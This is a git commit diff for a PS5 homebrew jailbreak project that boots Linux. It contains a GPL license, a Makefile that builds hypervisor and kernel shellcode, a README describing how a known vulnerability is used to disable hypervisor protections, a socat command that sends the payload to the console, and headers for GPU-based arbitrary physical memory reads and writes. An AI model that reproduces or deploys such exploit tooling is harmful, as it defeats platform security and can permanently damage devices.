Linux payload implementing HV exploits to run a custom bootloader
C
initial commit support 3.xx and 4.xx
Mateico4fc5de4d36ba
diff --git a/LICENSE b/LICENSEnew file mode 100644index 0000000..f288702--- /dev/null+++ b/LICENSE@@ -0,0 +1,674 @@+ GNU GENERAL PUBLIC LICENSE+ Version 3, 29 June 2007++ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>+ Everyone is permitted to copy and distribute verbatim copies+ of this license document, but changing it is not allowed.++ Preamble++ The GNU General Public License is a free, copyleft license for+software and other kinds of works.++ The licenses for most software and other practical works are designed+to take away your freedom to share and change the works. By contrast,+the GNU General Public License is intended to guarantee your freedom to+share and change all versions of a program--to make sure it remains free+software for all its users. We, the Free Software Foundation, use the+GNU General Public License for most of our software; it applies also to+any other work released this way by its authors. You can apply it to+your programs, too.++ When we speak of free software, we are referring to freedom, not+price. Our General Public Licenses are designed to make sure that you+have the freedom to distribute copies of free software (and charge for+them if you wish), that you receive source code or can get it if you+want it, that you can change the software or use pieces of it in new+free programs, and that you know you can do these things.++ To protect your rights, we need to prevent others from denying you+these rights or asking you to surrender the rights. Therefore, you have+certain responsibilities if you distribute copies of the software, or if+you modify it: responsibilities to respect the freedom of others.++ For example, if you distribute copies of such a program, whether+gratis or for a fee, you must pass on to the recipients the same+freedoms that you received. You must make sure that they, too, receive+or can get the source code. And you must show them these terms so they+know their rights.++ Developers that use the GNU GPL protect your rights with two steps:+(1) assert copyright on the software, and (2) offer you this License+giving you legal permission to copy, distribute and/or modify it.++ For the developers' and authors' protection, the GPL clearly explains+that there is no warranty for this free software. For both users' and+authors' sake, the GPL requires that modified versions be marked as+changed, so that their problems will not be attributed erroneously to+authors of previous versions.++ Some devices are designed to deny users access to install or run+modified versions of the software inside them, although the manufacturer+can do so. This is fundamentally incompatible with the aim of+protecting users' freedom to change the software. The systematic+pattern of such abuse occurs in the area of products for individuals to+use, which is precisely where it is most unacceptable. Therefore, we+have designed this version of the GPL to prohibit the practice for those+products. If such problems arise substantially in other domains, we+stand ready to extend this provision to those domains in future versions+of the GPL, as needed to protect the freedom of users.++ Finally, every program is threatened constantly by software patents.+States should not allow patents to restrict development and use of+software on general-purpose computers, but in those that do, we wish to+avoid the special danger that patents applied to a free program could+make it effectively proprietary. To prevent this, the GPL assures that+patents cannot be used to render the program non-free.++ The precise terms and conditions for copying, distribution and+modification follow.++ TERMS AND CONDITIONS++ 0. Definitions.++ "This License" refers to version 3 of the GNU General Public License.++ "Copyright" also means copyright-like laws that apply to other kinds of+works, such as semiconductor masks.++ "The Program" refers to any copyrightable work licensed under this+License. Each licensee is addressed as "you". "Licensees" and+"recipients" may be individuals or organizations.++ To "modify" a work means to copy from or adapt all or part of the work+in a fashion requiring copyright permission, other than the making of an+exact copy. The resulting work is called a "modified version" of the+earlier work or a work "based on" the earlier work.++ A "covered work" means either the unmodified Program or a work based+on the Program.++ To "propagate" a work means to do anything with it that, without+permission, would make you directly or secondarily liable for+infringement under applicable copyright law, except executing it on a+computer or modifying a private copy. Propagation includes copying,+distribution (with or without modification), making available to the+public, and in some countries other activities as well.++ To "convey" a work means any kind of propagation that enables other+parties to make or receive copies. Mere interaction with a user through+a computer network, with no transfer of a copy, is not conveying.++ An interactive user interface displays "Appropriate Legal Notices"+to the extent that it includes a convenient and prominently visible+feature that (1) displays an appropriate copyright notice, and (2)+tells the user that there is no warranty for the work (except to the+extent that warranties are provided), that licensees may convey the+work under this License, and how to view a copy of this License. If+the interface presents a list of user commands or options, such as a+menu, a prominent item in the list meets this criterion.++ 1. Source Code.++ The "source code" for a work means the preferred form of the work+for making modifications to it. "Object code" means any non-source+form of a work.++ A "Standard Interface" means an interface that either is an official+standard defined by a recognized standards body, or, in the case of+interfaces specified for a particular programming language, one that+is widely used among developers working in that language.++ The "System Libraries" of an executable work include anything, other+than the work as a whole, that (a) is included in the normal form of+packaging a Major Component, but which is not part of that Major+Component, and (b) serves only to enable use of the work with that+Major Component, or to implement a Standard Interface for which an+implementation is available to the public in source code form. A+"Major Component", in this context, means a major essential component+(kernel, window system, and so on) of the specific operating system+(if any) on which the executable work runs, or a compiler used to+produce the work, or an object code interpreter used to run it.++ The "Corresponding Source" for a work in object code form means all+the source code needed to generate, install, and (for an executable+work) run the object code and to modify the work, including scripts to+control those activities. However, it does not include the work's+System Libraries, or general-purpose tools or generally available free+programs which are used unmodified in performing those activities but+which are not part of the work. For example, Corresponding Source+includes interface definition files associated with source files for+the work, and the source code for shared libraries and dynamically+linked subprograms that the work is specifically designed to require,+such as by intimate data communication or control flow between those+subprograms and other parts of the work.++ The Corresponding Source need not include anything that users+can regenerate automatically from other parts of the Corresponding+Source.++ The Corresponding Source for a work in source code form is that+same work.++ 2. Basic Permissions.++ All rights granted under this License are granted for the term of+copyright on the Program, and are irrevocable provided the stated+conditions are met. This License explicitly affirms your unlimited+permission to run the unmodified Program. The output from running a+covered work is covered by this License only if the output, given its+content, constitutes a covered work. This License acknowledges your+rights of fair use or other equivalent, as provided by copyright law.++ You may make, run and propagate covered works that you do not+convey, without conditions so long as your license otherwise remains+in force. You may convey covered works to others for the sole purpose+of having them make modifications exclusively for you, or provide you+with facilities for running those works, provided that you comply with+the terms of this License in conveying all material for which you do+not control copyright. Those thus making or running the covered works+for you must do so exclusively on your behalf, under your direction+and control, on terms that prohibit them from making any copies of+your copyrighted material outside their relationship with you.++ Conveying under any other circumstances is permitted solely under+the conditions stated below. Sublicensing is not allowed; section 10+makes it unnecessary.++ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.++ No covered work shall be deemed part of an effective technological+measure under any applicable law fulfilling obligations under article+11 of the WIPO copyright treaty adopted on 20 December 1996, or+similar laws prohibiting or restricting circumvention of such+measures.++ When you convey a covered work, you waive any legal power to forbid+circumvention of technological measures to the extent such circumvention+is effected by exercising rights under this License with respect to+the covered work, and you disclaim any intention to limit operation or+modification of the work as a means of enforcing, against the work's+users, your or third parties' legal rights to forbid circumvention of+technological measures.++ 4. Conveying Verbatim Copies.++ You may convey verbatim copies of the Program's source code as you+receive it, in any medium, provided that you conspicuously and+appropriately publish on each copy an appropriate copyright notice;+keep intact all notices stating that this License and any+non-permissive terms added in accord with section 7 apply to the code;+keep intact all notices of the absence of any warranty; and give all+recipients a copy of this License along with the Program.++ You may charge any price or no price for each copy that you convey,+and you may offer support or warranty protection for a fee.++ 5. Conveying Modified Source Versions.++ You may convey a work based on the Program, or the modifications to+produce it from the Program, in the form of source code under the+terms of section 4, provided that you also meet all of these conditions:++ a) The work must carry prominent notices stating that you modified+ it, and giving a relevant date.++ b) The work must carry prominent notices stating that it is+ released under this License and any conditions added under section+ 7. This requirement modifies the requirement in section 4 to+ "keep intact all notices".++ c) You must license the entire work, as a whole, under this+ License to anyone who comes into possession of a copy. This+ License will therefore apply, along with any applicable section 7+ additional terms, to the whole of the work, and all its parts,+ regardless of how they are packaged. This License gives no+ permission to license the work in any other way, but it does not+ invalidate such permission if you have separately received it.++ d) If the work has interactive user interfaces, each must display+ Appropriate Legal Notices; however, if the Program has interactive+ interfaces that do not display Appropriate Legal Notices, your+ work need not make them do so.++ A compilation of a covered work with other separate and independent+works, which are not by their nature extensions of the covered work,+and which are not combined with it such as to form a larger program,+in or on a volume of a storage or distribution medium, is called an+"aggregate" if the compilation and its resulting copyright are not+used to limit the access or legal rights of the compilation's users+beyond what the individual works permit. Inclusion of a covered work+in an aggregate does not cause this License to apply to the other+parts of the aggregate.++ 6. Conveying Non-Source Forms.++ You may convey a covered work in object code form under the terms+of sections 4 and 5, provided that you also convey the+machine-readable Corresponding Source under the terms of this License,+in one of these ways:++ a) Convey the object code in, or embodied in, a physical product+ (including a physical distribution medium), accompanied by the+ Corresponding Source fixed on a durable physical medium+ customarily used for software interchange.++ b) Convey the object code in, or embodied in, a physical product+ (including a physical distribution medium), accompanied by a+ written offer, valid for at least three years and valid for as+ long as you offer spare parts or customer support for that product+ model, to give anyone who possesses the object code either (1) a+ copy of the Corresponding Source for all the software in the+ product that is covered by this License, on a durable physical+ medium customarily used for software interchange, for a price no+ more than your reasonable cost of physically performing this+ conveying of source, or (2) access to copy the+ Corresponding Source from a network server at no charge.++ c) Convey individual copies of the object code with a copy of the+ written offer to provide the Corresponding Source. This+ alternative is allowed only occasionally and noncommercially, and+ only if you received the object code with such an offer, in accord+ with subsection 6b.++ d) Convey the object code by offering access from a designated+ place (gratis or for a charge), and offer equivalent access to the+ Corresponding Source in the same way through the same place at no+ further charge. You need not require recipients to copy the+ Corresponding Source along with the object code. If the place to+ copy the object code is a network server, the Corresponding Source+ may be on a different server (operated by you or a third party)+ that supports equivalent copying facilities, provided you maintain+ clear directions next to the object code saying where to find the+ Corresponding Source. Regardless of what server hosts the+ Corresponding Source, you remain obligated to ensure that it is+ available for as long as needed to satisfy these requirements.++ e) Convey the object code using peer-to-peer transmission, provided+ you inform other peers where the object code and Corresponding+ Source of the work are being offered to the general public at no+ charge under subsection 6d.++ A separable portion of the object code, whose source code is excluded+from the Corresponding Source as a System Library, need not be+included in conveying the object code work.++ A "User Product" is either (1) a "consumer product", which means any+tangible personal property which is normally used for personal, family,+or household purposes, or (2) anything designed or sold for incorporation+into a dwelling. In determining whether a product is a consumer product,+doubtful cases shall be resolved in favor of coverage. For a particular+product received by a particular user, "normally used" refers to a+typical or common use of that class of product, regardless of the status+of the particular user or of the way in which the particular user+actually uses, or expects or is expected to use, the product. A product+is a consumer product regardless of whether the product has substantial+commercial, industrial or non-consumer uses, unless such uses represent+the only significant mode of use of the product.++ "Installation Information" for a User Product means any methods,+procedures, authorization keys, or other information required to install+and execute modified versions of a covered work in that User Product from+a modified version of its Corresponding Source. The information must+suffice to ensure that the continued functioning of the modified object+code is in no case prevented or interfered with solely because+modification has been made.++ If you convey an object code work under this section in, or with, or+specifically for use in, a User Product, and the conveying occurs as+part of a transaction in which the right of possession and use of the+User Product is transferred to the recipient in perpetuity or for a+fixed term (regardless of how the transaction is characterized), the+Corresponding Source conveyed under this section must be accompanied+by the Installation Information. But this requirement does not apply+if neither you nor any third party retains the ability to install+modified object code on the User Product (for example, the work has+been installed in ROM).++ The requirement to provide Installation Information does not include a+requirement to continue to provide support service, warranty, or updates+for a work that has been modified or installed by the recipient, or for+the User Product in which it has been modified or installed. Access to a+network may be denied when the modification itself materially and+adversely affects the operation of the network or violates the rules and+protocols for communication across the network.++ Corresponding Source conveyed, and Installation Information provided,+in accord with this section must be in a format that is publicly+documented (and with an implementation available to the public in+source code form), and must require no special password or key for+unpacking, reading or copying.++ 7. Additional Terms.++ "Additional permissions" are terms that supplement the terms of this+License by making exceptions from one or more of its conditions.+Additional permissions that are applicable to the entire Program shall+be treated as though they were included in this License, to the extent+that they are valid under applicable law. If additional permissions+apply only to part of the Program, that part may be used separately+under those permissions, but the entire Program remains governed by+this License without regard to the additional permissions.++ When you convey a copy of a covered work, you may at your option+remove any additional permissions from that copy, or from any part of+it. (Additional permissions may be written to require their own+removal in certain cases when you modify the work.) You may place+additional permissions on material, added by you to a covered work,+for which you have or can give appropriate copyright permission.++ Notwithstanding any other provision of this License, for material you+add to a covered work, you may (if authorized by the copyright holders of+that material) supplement the terms of this License with terms:++ a) Disclaiming warranty or limiting liability differently from the+ terms of sections 15 and 16 of this License; or++ b) Requiring preservation of specified reasonable legal notices or+ author attributions in that material or in the Appropriate Legal+ Notices displayed by works containing it; or++ c) Prohibiting misrepresentation of the origin of that material, or+ requiring that modified versions of such material be marked in+ reasonable ways as different from the original version; or++ d) Limiting the use for publicity purposes of names of licensors or+ authors of the material; or++ e) Declining to grant rights under trademark law for use of some+ trade names, trademarks, or service marks; or++ f) Requiring indemnification of licensors and authors of that+ material by anyone who conveys the material (or modified versions of+ it) with contractual assumptions of liability to the recipient, for+ any liability that these contractual assumptions directly impose on+ those licensors and authors.++ All other non-permissive additional terms are considered "further+restrictions" within the meaning of section 10. If the Program as you+received it, or any part of it, contains a notice stating that it is+governed by this License along with a term that is a further+restriction, you may remove that term. If a license document contains+a further restriction but permits relicensing or conveying under this+License, you may add to a covered work material governed by the terms+of that license document, provided that the further restriction does+not survive such relicensing or conveying.++ If you add terms to a covered work in accord with this section, you+must place, in the relevant source files, a statement of the+additional terms that apply to those files, or a notice indicating+where to find the applicable terms.++ Additional terms, permissive or non-permissive, may be stated in the+form of a separately written license, or stated as exceptions;+the above requirements apply either way.++ 8. Termination.++ You may not propagate or modify a covered work except as expressly+provided under this License. Any attempt otherwise to propagate or+modify it is void, and will automatically terminate your rights under+this License (including any patent licenses granted under the third+paragraph of section 11).++ However, if you cease all violation of this License, then your+license from a particular copyright holder is reinstated (a)+provisionally, unless and until the copyright holder explicitly and+finally terminates your license, and (b) permanently, if the copyright+holder fails to notify you of the violation by some reasonable means+prior to 60 days after the cessation.++ Moreover, your license from a particular copyright holder is+reinstated permanently if the copyright holder notifies you of the+violation by some reasonable means, this is the first time you have+received notice of violation of this License (for any work) from that+copyright holder, and you cure the violation prior to 30 days after+your receipt of the notice.++ Termination of your rights under this section does not terminate the+licenses of parties who have received copies or rights from you under+this License. If your rights have been terminated and not permanently+reinstated, you do not qualify to receive new licenses for the same+material under section 10.++ 9. Acceptance Not Required for Having Copies.++ You are not required to accept this License in order to receive or+run a copy of the Program. Ancillary propagation of a covered work+occurring solely as a consequence of using peer-to-peer transmission+to receive a copy likewise does not require acceptance. However,+nothing other than this License grants you permission to propagate or+modify any covered work. These actions infringe copyright if you do+not accept this License. Therefore, by modifying or propagating a+covered work, you indicate your acceptance of this License to do so.++ 10. Automatic Licensing of Downstream Recipients.++ Each time you convey a covered work, the recipient automatically+receives a license from the original licensors, to run, modify and+propagate that work, subject to this License. You are not responsible+for enforcing compliance by third parties with this License.++ An "entity transaction" is a transaction transferring control of an+organization, or substantially all assets of one, or subdividing an+organization, or merging organizations. If propagation of a covered+work results from an entity transaction, each party to that+transaction who receives a copy of the work also receives whatever+licenses to the work the party's predecessor in interest had or could+give under the previous paragraph, plus a right to possession of the+Corresponding Source of the work from the predecessor in interest, if+the predecessor has it or can get it with reasonable efforts.++ You may not impose any further restrictions on the exercise of the+rights granted or affirmed under this License. For example, you may+not impose a license fee, royalty, or other charge for exercise of+rights granted under this License, and you may not initiate litigation+(including a cross-claim or counterclaim in a lawsuit) alleging that+any patent claim is infringed by making, using, selling, offering for+sale, or importing the Program or any portion of it.++ 11. Patents.++ A "contributor" is a copyright holder who authorizes use under this+License of the Program or a work on which the Program is based. The+work thus licensed is called the contributor's "contributor version".++ A contributor's "essential patent claims" are all patent claims+owned or controlled by the contributor, whether already acquired or+hereafter acquired, that would be infringed by some manner, permitted+by this License, of making, using, or selling its contributor version,+but do not include claims that would be infringed only as a+consequence of further modification of the contributor version. For+purposes of this definition, "control" includes the right to grant+patent sublicenses in a manner consistent with the requirements of+this License.++ Each contributor grants you a non-exclusive, worldwide, royalty-free+patent license under the contributor's essential patent claims, to+make, use, sell, offer for sale, import and otherwise run, modify and+propagate the contents of its contributor version.++ In the following three paragraphs, a "patent license" is any express+agreement or commitment, however denominated, not to enforce a patent+(such as an express permission to practice a patent or covenant not to+sue for patent infringement). To "grant" such a patent license to a+party means to make such an agreement or commitment not to enforce a+patent against the party.++ If you convey a covered work, knowingly relying on a patent license,+and the Corresponding Source of the work is not available for anyone+to copy, free of charge and under the terms of this License, through a+publicly available network server or other readily accessible means,+then you must either (1) cause the Corresponding Source to be so+available, or (2) arrange to deprive yourself of the benefit of the+patent license for this particular work, or (3) arrange, in a manner+consistent with the requirements of this License, to extend the patent+license to downstream recipients. "Knowingly relying" means you have+actual knowledge that, but for the patent license, your conveying the+covered work in a country, or your recipient's use of the covered work+in a country, would infringe one or more identifiable patents in that+country that you have reason to believe are valid.++ If, pursuant to or in connection with a single transaction or+arrangement, you convey, or propagate by procuring conveyance of, a+covered work, and grant a patent license to some of the parties+receiving the covered work authorizing them to use, propagate, modify+or convey a specific copy of the covered work, then the patent license+you grant is automatically extended to all recipients of the covered+work and works based on it.++ A patent license is "discriminatory" if it does not include within+the scope of its coverage, prohibits the exercise of, or is+conditioned on the non-exercise of one or more of the rights that are+specifically granted under this License. You may not convey a covered+work if you are a party to an arrangement with a third party that is+in the business of distributing software, under which you make payment+to the third party based on the extent of your activity of conveying+the work, and under which the third party grants, to any of the+parties who would receive the covered work from you, a discriminatory+patent license (a) in connection with copies of the covered work+conveyed by you (or copies made from those copies), or (b) primarily+for and in connection with specific products or compilations that+contain the covered work, unless you entered into that arrangement,+or that patent license was granted, prior to 28 March 2007.++ Nothing in this License shall be construed as excluding or limiting+any implied license or other defenses to infringement that may+otherwise be available to you under applicable patent law.++ 12. No Surrender of Others' Freedom.++ If conditions are imposed on you (whether by court order, agreement or+otherwise) that contradict the conditions of this License, they do not+excuse you from the conditions of this License. If you cannot convey a+covered work so as to satisfy simultaneously your obligations under this+License and any other pertinent obligations, then as a consequence you may+not convey it at all. For example, if you agree to terms that obligate you+to collect a royalty for further conveying from those to whom you convey+the Program, the only way you could satisfy both those terms and this+License would be to refrain entirely from conveying the Program.++ 13. Use with the GNU Affero General Public License.++ Notwithstanding any other provision of this License, you have+permission to link or combine any covered work with a work licensed+under version 3 of the GNU Affero General Public License into a single+combined work, and to convey the resulting work. The terms of this+License will continue to apply to the part which is the covered work,+but the special requirements of the GNU Affero General Public License,+section 13, concerning interaction through a network will apply to the+combination as such.++ 14. Revised Versions of this License.++ The Free Software Foundation may publish revised and/or new versions of+the GNU General Public License from time to time. Such new versions will+be similar in spirit to the present version, but may differ in detail to+address new problems or concerns.++ Each version is given a distinguishing version number. If the+Program specifies that a certain numbered version of the GNU General+Public License "or any later version" applies to it, you have the+option of following the terms and conditions either of that numbered+version or of any later version published by the Free Software+Foundation. If the Program does not specify a version number of the+GNU General Public License, you may choose any version ever published+by the Free Software Foundation.++ If the Program specifies that a proxy can decide which future+versions of the GNU General Public License can be used, that proxy's+public statement of acceptance of a version permanently authorizes you+to choose that version for the Program.++ Later license versions may give you additional or different+permissions. However, no additional obligations are imposed on any+author or copyright holder as a result of your choosing to follow a+later version.++ 15. Disclaimer of Warranty.++ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.++ 16. Limitation of Liability.++ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF+SUCH DAMAGES.++ 17. Interpretation of Sections 15 and 16.++ If the disclaimer of warranty and limitation of liability provided+above cannot be given local legal effect according to their terms,+reviewing courts shall apply local law that most closely approximates+an absolute waiver of all civil liability in connection with the+Program, unless a warranty or assumption of liability accompanies a+copy of the Program in return for a fee.++ END OF TERMS AND CONDITIONS++ How to Apply These Terms to Your New Programs++ If you develop a new program, and you want it to be of the greatest+possible use to the public, the best way to achieve this is to make it+free software which everyone can redistribute and change under these terms.++ To do so, attach the following notices to the program. It is safest+to attach them to the start of each source file to most effectively+state the exclusion of warranty; and each file should have at least+the "copyright" line and a pointer to where the full notice is found.++ <one line to give the program's name and a brief idea of what it does.>+ Copyright (C) <year> <name of author>++ This program is free software: you can redistribute it and/or modify+ it under the terms of the GNU General Public License as published by+ the Free Software Foundation, either version 3 of the License, or+ (at your option) any later version.++ This program is distributed in the hope that it will be useful,+ but WITHOUT ANY WARRANTY; without even the implied warranty of+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the+ GNU General Public License for more details.++ You should have received a copy of the GNU General Public License+ along with this program. If not, see <https://www.gnu.org/licenses/>.++Also add information on how to contact you by electronic and paper mail.++ If the program does terminal interaction, make it output a short+notice like this when it starts in an interactive mode:++ <program> Copyright (C) <year> <name of author>+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.+ This is free software, and you are welcome to redistribute it+ under certain conditions; type `show c' for details.++The hypothetical commands `show w' and `show c' should show the appropriate+parts of the General Public License. Of course, your program's commands+might be different; for a GUI interface, you would use an "about box".++ You should also get your employer (if you work as a programmer) or school,+if any, to sign a "copyright disclaimer" for the program, if necessary.+For more information on this, and how to apply and follow the GNU GPL, see+<https://www.gnu.org/licenses/>.++ The GNU General Public License does not permit incorporating your program+into proprietary programs. If your program is a subroutine library, you+may consider it more useful to permit linking proprietary applications with+the library. If this is what you want to do, use the GNU Lesser General+Public License instead of this License. But first, please read+<https://www.gnu.org/licenses/why-not-lgpl.html>.diff --git a/Makefile b/Makefilenew file mode 100644index 0000000..39d8c83--- /dev/null+++ b/Makefile@@ -0,0 +1,45 @@+.PHONY: all clean++ifndef PS5_PAYLOAD_SDK+ PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/+endif++include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk++BIN := bin/ps5-linux-loader.elf+SRC := $(wildcard source/*.c)+OBJS := $(SRC:.c=.o)++# Agregamos los headers de los shellcodes a los CFLAGS para que los encuentre en source/main.c+CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hypervisor -Ishellcode_kernel+LDFLAGS :=++# Rutas de los headers generados+SC_HV_H := shellcode_hypervisor/shellcode_hypervisor.h+SC_K_H := shellcode_kernel/shellcode_kernel.h++# 1. Regla principal: Construir los shellcodes antes que los objetos del main+all: $(SC_HV_H) $(SC_K_H) $(BIN)++# 2. Reglas para disparar el Make en las subcarpetas+# Usamos .PHONY de forma indirecta o forzamos la entrada a la carpeta+$(SC_HV_H):+ $(MAKE) -C shellcode_hypervisor++$(SC_K_H):+ $(MAKE) -C shellcode_kernel++# 3. Los objetos dependen de que los headers de los shellcodes existan+# Si main.c hace #include "shellcode_hypervisor.h", necesita estos targets+$(OBJS): %.o: %.c+ $(CC) $(CFLAGS) -c -o $@ $<++# 4. Link final+$(BIN): $(OBJS)+ @mkdir -p $(dir $@)+ $(CC) $(OBJS) $(LDFLAGS) -o $@++clean:+ rm -f $(BIN) $(OBJS)+ $(MAKE) -C shellcode_hypervisor clean+ $(MAKE) -C shellcode_kernel cleandiff --git a/README.md b/README.mdnew file mode 100644index 0000000..9ec14a1--- /dev/null+++ b/README.md@@ -0,0 +1,83 @@+# ps5-linux-loader++This payload let's you boot a Linux kernel on bare metal hardware on the PS5 on firmwares up to 04.51++Currently firmwares 1.xx and 2.xx are not supported. They will be soon.++To do so, it uses a disclosed vulnerability that gives access to Trusted Memory Regions (TMRs).++The process to boot Linux is divided in 3 stages:++- Payload on Prospero OS that disables HV protections to install a shellcode in Kernel mode to be loader on system wake-up and loads Linux boot bins on memory.+- Kernel shellcode that disables HV protections and patches "VMEXIT_HANDLER" to install identity mapping and jump to HV shellcode.+- Hypervisor shellcode (real bare metal) that loads the required structure and boots the Linux kernel.++PLEASE USE AT YOUR OWN RISK. IT MAY DAMAGE YOUR CONSOLE TURNING IT UNREPAIRABLE.++## Credits++[theflow](https://github.com/TheOfficialFloW): Linux kernel patches, main boot config and boot strategy++[c0w](https://github.com/c0w-ar): Loader code and kernel/hv shellcodes++[fail0verflow](https://github.com/fail0verflow): HV defeat vulnerability (https://github.com/fail0verflow/prosperous)++[flatz](github.com/flatz): HV defeat vulnerability (https://gist.github.com/flatz/620ddda6d64acca6d1c990dc3080ac0e)++[cragson](https://github.com/cragson): HV defeat implementation for <= 04.51 on PS5 HEN (https://github.com/cragson/ps5-hen)++[john-tornblom](https://github.com/john-tornblom): PS5 SDK (https://github.com/ps5-payload-dev/sdk)++[echostretch](https://github.com/echostretch): Offsets and testing++## Own compilation++First, install the [ps5-payload-sdk](https://github.com/ps5-payload-dev/sdk)++Second, clone this repository and make++```+git clone [email protected]:c0w-ar/ps5-linux-loader.git++cd ps5-linux-loader++make+```+## Prework++To be able to boot linux, you first have to create a fresh install image of your desired distribution (Ubuntu recommended) on an external USB drive (SSD recommended).++You can use any live CD / USB to install to the external drive. It's recommended that you take note of your partition UUID to use it on the boot command.++Recommended boot command:+```+root=UUID={your-partition-hash} rw rootwait console=ttyTitania0 console=tty0 video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf+```++## How to Use++Place the bzImage and initrd.img files on the folder "PS5/Linux/" on your USB drive.++If you wish to customize the Video Ram (vram) or Boot Command you can optionally add the files "vram.txt" and "cmdline.txt".++```+USB0 Root+└── 📁 PS5+ └── 📁 Linux+ └── 📄 bzImage+ └── 📄 initrd.img+ └── 📄 vram.txt (hex string)+ └── 📄 cmdline.txt (custom boot command)+```++Send the payload++```sh+socat -t 99999 - TCP:YOUR_PS5_IP:9021 < ps5-linux-loader.elf+```++Wait until you see the message that is time to put the system to sleep.++When the orange light stop blinking and stays on, you can wake up your console and the shellcodes will be executed.++You should get the Linux kernel booted and an available console on the UART Titania.\ No newline at end of filediff --git a/include/config.h b/include/config.hnew file mode 100644index 0000000..69fa15b--- /dev/null+++ b/include/config.h@@ -0,0 +1,34 @@+#ifndef CONFIG_H+#define CONFIG_H++#define PAGE_SIZE 0x4000ULL++// This is used to allocate resources for HV shellcode and Linux boot+#define cave 0x100000000ULL+#define cave_hv_paging cave+#define cave_hv_code \+ cave_hv_paging + 0x3000ULL // Leave space for 3 pages but we only use 2 for+ // 1GB 1:1 mapping+#define cave_linux_files cave_hv_code + 0x2000ULL+#define cave_linux_info cave_linux_files+#define cave_bzImage cave_linux_info + PAGE_SIZE+// #define cave_initrd // Allocated dynamically after bzImage++#define hv_base_rsp (cave + 0x10000000ULL)+#define hv_stack_size 0x1000ULL++// This is used as transitional storage from ProsperoOS to Kernel shellcode+#define kernel_cave_files 0xFFFF800000000000+#define kernel_cave_linux_info kernel_cave_files+#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE+// #define kernel_cave_initrd // Allocated dynamically after bzImage++// Linux boot config+#define VRAM_SIZE (512ULL * 1024 * 1024)+#define CMD_LINE \+ "root=/dev/sda2 rw rootwait console=ttyTitania0 console=tty0 " \+ "video=DP-1:1920x1080@60 mitigations=off idle=halt pci=pcie_bus_perf"++#define DEBUG 0 // Toggle to 0 to disable logs++#endif\ No newline at end of filediff --git a/include/gpu.h b/include/gpu.hnew file mode 100644index 0000000..127c6b7--- /dev/null+++ b/include/gpu.h@@ -0,0 +1,70 @@+/*** Source: ps5-hen by cragson ***/++#ifndef GPU_H+#define GPU_H++#include <stdint.h>++#define GPU_PDE_VALID_BIT 0+#define GPU_PDE_IS_PTE_BIT 54+#define GPU_PDE_TF_BIT 56+#define GPU_PDE_BLOCK_FRAG_BIT 59+#define GPU_PDE_ADDR_MASK 0x0000FFFFFFFFFFC0ULL++#define PROT_GPU_READ 0x10+#define PROT_GPU_WRITE 0x20+#define MAP_NO_COALESCE 0x00400000++#define GPU_SUBMIT_IOCTL 0xC0108102++#define PM4_TYPE3 3+#define PM4_SHADER_COMPUTE 1+#define PM4_OPCODE_DMA_DATA 0x50+#define PM4_OPCODE_INDIRECT_BUF 0x3F++struct gpu_kernel_offsets {+ uint64_t proc_vmspace; // proc->p_vmspace offset+ uint64_t vmspace_vm_vmid; // vmspace->vm_vmid offset+ uint64_t data_base_gvmspace; // offset from kernel data base to gvmspace array+ uint64_t sizeof_gvmspace; // size of each gvmspace entry+ uint64_t gvmspace_page_dir_va; // gvmspace->page_dir_va offset (GPU PDB2)+ uint64_t gvmspace_size; // gvmspace->size offset+ uint64_t gvmspace_start_va; // gvmspace->start_va offset+};++struct gpu_ctx {+ int fd; // /dev/gc file descriptor+ int initialized; // 1 if gpu_init() succeeded++ uint64_t victim_va; // CPU VA of victim buffer (GPU PTE remapped)+ uint64_t transfer_va; // CPU VA of transfer/staging buffer+ uint64_t cmd_va; // CPU VA of PM4 command buffer++ uint64_t victim_real_pa; // original physical address of victim buffer+ uint64_t victim_ptbe_va; // kernel VA of the GPU PTE for victim buffer+ uint64_t cleared_ptbe; // GPU PTE with physical address cleared (template)+ uint64_t page_size; // GPU page size for victim allocation (should be 2MB)+ uint64_t dmem_size; // allocation size (2MB)+};++void gpu_set_offsets(struct gpu_kernel_offsets *offsets);++int gpu_init(void);+int gpu_init_internal(void);++int gpu_test(void);++int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size);+uint8_t gpu_read_phys1(uint64_t phys_addr);+uint32_t gpu_read_phys4(uint64_t phys_addr);+uint64_t gpu_read_phys8(uint64_t phys_addr);++int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size);+void gpu_write_phys4(uint64_t phys_addr, uint32_t value);+void gpu_write_phys8(uint64_t phys_addr, uint64_t value);++void gpu_cleanup(void);++struct gpu_ctx 